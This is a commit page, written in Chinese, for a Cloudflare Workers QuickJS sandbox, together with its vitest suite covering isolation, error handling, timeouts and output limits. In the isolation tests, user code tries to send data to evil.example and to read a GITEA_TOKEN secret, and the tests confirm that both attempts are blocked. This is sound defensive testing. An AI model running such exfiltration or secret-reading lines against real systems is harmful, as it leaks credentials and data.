08a79229a5
leo21c 實部署發現兩個 CF 限制並修正:
1. CF 禁 runtime 從 bytes 編譯 wasm(WebAssembly.instantiate(bytes) 被 embedder 擋)
→ singlefile(base64) 內嵌不可用。改 wasmfile variant + `import wasm from './vendor/quickjs.wasm'`
(wrangler CompiledWasm rule 綁成預編 WebAssembly.Module),newVariant({wasmModule}) 注入。
sandbox 改 variant 注入制(setVariant):Worker 注 wrangler Module、Node 由 bytes 建 Module,
同一 production 路徑受測。vendor/quickjs.wasm 由 postinstall 自 node_modules 複製(gitignored)。
2. CF 凍結同步執行期 Date.now → wall-clock deadline 對純同步迴圈失效(撞 CF CPU 回 1102)。
改指令計數 interrupt(max_ticks,CF-safe),wall-clock 留 Node 保護。校準:cadence≈5000
指令/tick、真實 card 解析≈4 ticks、CF 門檻≈1000+ ticks → 預設 max_ticks=500。
有 body 的迴圈(含 100M 迴圈)皆乾淨回 TimeoutError;空體 while(true){} 仍由 CF CPU guard 容納。
Worker live: arcrun-code.leo21c.workers.dev(cypher-executor 以此 workers.dev 慣例位址呼叫)。
Node 單測 12/12 綠(wasmfile variant + 注入 Module,同 production 路徑)。
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HJiLCRUU2o3aSpPEzVCt2o
136 lines
5.6 KiB
JavaScript
136 lines
5.6 KiB
JavaScript
import { describe, it, expect } from 'vitest';
|
||
import { readFileSync } from 'node:fs';
|
||
import { fileURLToPath } from 'node:url';
|
||
import { dirname, join } from 'node:path';
|
||
import { runCode, setVariant } from '../sandbox.mjs';
|
||
import { planCard } from './fixtures/card-to-envelope.oracle.mjs';
|
||
import baseVariant from '@jitl/quickjs-wasmfile-release-sync';
|
||
import { newVariant } from 'quickjs-emscripten-core';
|
||
|
||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||
const FIX = join(HERE, 'fixtures');
|
||
|
||
// 注入與 production(Worker)同一條路徑:wasmfile variant + 預編 WebAssembly.Module。
|
||
// Worker 由 wrangler 把 import 的 .wasm 綁成 Module;此處在 Node 由 bytes 建 Module。
|
||
const wasmBytes = readFileSync(join(HERE, '..', 'node_modules', '@jitl', 'quickjs-wasmfile-release-sync', 'dist', 'emscripten-module.wasm'));
|
||
setVariant(newVariant(baseVariant, { wasmModule: new WebAssembly.Module(wasmBytes) }));
|
||
|
||
describe('① 基本 snippet 跑通', () => {
|
||
it('sum: {return {sum: input.a + input.b}}', async () => {
|
||
const r = await runCode('return {sum: input.a + input.b};', { a: 2, b: 40 });
|
||
expect(r).toEqual({ success: true, data: { sum: 42 } });
|
||
});
|
||
|
||
it('可用純 ECMAScript 內建(Array/JSON/Math/Date)', async () => {
|
||
const r = await runCode(
|
||
'return {mapped: input.xs.map(x=>x*x), max: Math.max(...input.xs), isNum: typeof Date.now()};',
|
||
{ xs: [1, 2, 3] },
|
||
);
|
||
expect(r.success).toBe(true);
|
||
expect(r.data.mapped).toEqual([1, 4, 9]);
|
||
expect(r.data.max).toBe(3);
|
||
expect(r.data.isNum).toBe('number');
|
||
});
|
||
});
|
||
|
||
describe('② 沙箱隔離:無 ambient 能力', () => {
|
||
it('fetch / process / require / WebAssembly / globalThis.env 皆 undefined', async () => {
|
||
const r = await runCode(`return {
|
||
fetch: typeof fetch,
|
||
process: typeof process,
|
||
require: typeof require,
|
||
wasm: typeof WebAssembly,
|
||
globalThisEnv: typeof (globalThis.env),
|
||
xhr: typeof XMLHttpRequest,
|
||
};`, {});
|
||
expect(r.success).toBe(true);
|
||
expect(r.data).toEqual({
|
||
fetch: 'undefined', process: 'undefined', require: 'undefined',
|
||
wasm: 'undefined', globalThisEnv: 'undefined', xhr: 'undefined',
|
||
});
|
||
});
|
||
|
||
it('嘗試打網路(fetch)→ 被擋、回結構化 error(Worker 不掛)', async () => {
|
||
const r = await runCode(`return fetch('https://evil.example/steal');`, {});
|
||
expect(r.success).toBe(false);
|
||
expect(r.error).toMatch(/fetch.*is not defined/i);
|
||
expect(r.error_type).toBe('UserCodeError');
|
||
});
|
||
|
||
it('嘗試讀 env/secret → 讀不到(process undefined)', async () => {
|
||
const r = await runCode(`return process.env.GITEA_TOKEN;`, {});
|
||
expect(r.success).toBe(false);
|
||
expect(r.error).toMatch(/process.*is not defined/i);
|
||
});
|
||
|
||
it('host 端變數不外洩:沙箱是獨立 heap', async () => {
|
||
const r = await runCode(`return typeof GITEA_TOKEN + '|' + typeof globalThis.GITEA_TOKEN;`, {});
|
||
expect(r.success).toBe(true);
|
||
expect(r.data).toBe('undefined|undefined');
|
||
});
|
||
});
|
||
|
||
describe('③ 錯誤處理 → 結構化 {error}', () => {
|
||
it('user code 拋錯 → success:false + error 訊息', async () => {
|
||
const r = await runCode(`throw new Error('boom');`, {});
|
||
expect(r.success).toBe(false);
|
||
expect(r.error).toMatch(/boom/);
|
||
expect(r.error_type).toBe('UserCodeError');
|
||
});
|
||
|
||
it('語法錯誤 → 結構化 error(不炸 host)', async () => {
|
||
const r = await runCode(`return {;`, {});
|
||
expect(r.success).toBe(false);
|
||
expect(r.error_type).toBe('UserCodeError');
|
||
});
|
||
});
|
||
|
||
describe('④ 資源限制', () => {
|
||
it('timeout:無窮迴圈 → TimeoutError(不掛死 host)', async () => {
|
||
const r = await runCode(`while(true){}`, {}, { limits: { timeout_ms: 200 } });
|
||
expect(r.success).toBe(false);
|
||
expect(r.error_type).toBe('TimeoutError');
|
||
}, 10000);
|
||
|
||
it('輸出過大 → ResourceError', async () => {
|
||
const r = await runCode(`return 'x'.repeat(input.n);`, { n: 5000 }, { limits: { max_output_bytes: 1000 } });
|
||
expect(r.success).toBe(false);
|
||
expect(r.error_type).toBe('ResourceError');
|
||
});
|
||
|
||
it('code 過大 → ResourceError', async () => {
|
||
const big = '/*' + 'a'.repeat(3000) + '*/ return 1;';
|
||
const r = await runCode(big, {}, { limits: { max_code_bytes: 1000 } });
|
||
expect(r.success).toBe(false);
|
||
expect(r.error_type).toBe('ResourceError');
|
||
});
|
||
});
|
||
|
||
describe('⑤ 首個真實案例:card-to-envelope 在 code 零件內跑,產出與原模組一致', () => {
|
||
const md = readFileSync(join(FIX, 'fixture-card.md'), 'utf8');
|
||
const usercode = readFileSync(join(FIX, 'card-to-envelope.usercode.js'), 'utf8');
|
||
const relPath = 'system-dev/wiki/cards/notes/沙箱示範卡.md';
|
||
const repo = 'Leo/notes';
|
||
|
||
// 移除時間相依欄位(Date.now())以做穩定 deep-equal
|
||
const strip = (plan) => {
|
||
const p = structuredClone(plan);
|
||
for (const e of p.envelopes) delete e.extractor.extracted_at;
|
||
return p;
|
||
};
|
||
|
||
it('沙箱輸出 === 原始模組 planCard 輸出(entry/nodes/triplets/envelopes 全等)', async () => {
|
||
const oracle = planCard(md, relPath, repo, {});
|
||
const r = await runCode(usercode, { md, relPath, repo, opts: {} }, {
|
||
limits: { timeout_ms: 3000, max_output_bytes: 4 * 1024 * 1024 },
|
||
});
|
||
expect(r.success).toBe(true);
|
||
expect(strip(r.data)).toEqual(strip(oracle));
|
||
expect(r.data.entry.page_name).toBe('wikicard:Leo/notes/沙箱示範卡');
|
||
expect(r.data.entry.metadata.embed).toBe(true);
|
||
// 注入的 sha256 builtin 與 node crypto 一致 → content_hash 逐字相同
|
||
expect(r.data.entry.metadata.content_hash).toBe(oracle.entry.metadata.content_hash);
|
||
expect(r.data.envelopes.length).toBeGreaterThanOrEqual(1);
|
||
}, 15000);
|
||
});
|